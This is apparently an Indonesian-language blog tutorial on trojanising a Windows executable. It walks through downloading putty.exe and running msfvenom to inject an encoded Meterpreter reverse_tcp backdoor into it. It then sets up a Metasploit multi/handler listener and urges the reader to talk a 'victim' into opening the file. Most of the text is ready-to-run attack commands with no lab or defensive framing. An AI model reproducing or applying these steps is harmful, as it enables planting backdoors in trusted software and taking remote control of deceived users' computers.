Cara Backdoor-ing Dengan Excutable File [[Metasploit | msfvenom]]

Seperti judul, sekarang kita akan melakukan penetrasi menggunakan excutable file alias file yang di eksekusi oleh si "victim" alias target yang menggunakan windows. Yaitu, dengan menggunakan Metasploit Exploitation Framework's plugin yaitu:  Msfvenom... =))

Untuk Konesksi Local/LAN:

Penjelasan awal:

IP saya sebagai penyerang: 192.168.0.72
IP target: 192.168.0.XX

Kita Mulai!
  
Ikuti saya, dengan membuka terminal dan ketikkan:

wget http://the.earth.li/~sgtatham/putty/0.63/x86/putty.exe

 mengapa putty? yah, karena ini yang kita gunakan sebagai media yang akan kita injeksi dengan backdoor dari Metasploit.

Sekarang, saya anggap anda berada dalam directory root yaah :)) jadi, sekarang kita injeksi aja langsung putty.exe nya dengan perintah ini:

msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -k -x /root/putty.exe LHOST=192.168.0.72 LPORT=4444 > puttyi.exe

Saya jelaskan lagi bahwa 192.168.0.72 adalah IP kita, dan Port yang ingin kita gunakan adalah 4444.
Dan, puttyi.exe adalah nama file yang telah kita injeksi dengan Backdoor.

Sekarang, kita jalankan  metasploit kita.

msfconsole

Sekarang kita mulai reverse handler untuk mendapatkan reverse connection.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.72
set LPORT 4444
exploit

  
Sekarang, tugas kita adalah share puttyi.exe ke komputer target, dan kita suruh target membuka-nya. Disini mungkin anda akan diuji soal kemampuan Social Engineering nya alias Soceng-nya. :))

Dan pada saat target membukanya, maka anda akan langsung konek alias berada dalam komputer target. Dan anda bisa berjoget ria seperti penonton YKS :)) Tapi tolong jangan menggunakan topen Guy Fawkes ya... =)) hahahaha....

Untuk target yang tidak berada dalam local area, alias menggunakan jaringan Internet. Maka itu nanti saja ya, saya juga masih belajar. Hehehe.

Terimakasih untuk : exploiterz

./Pendiam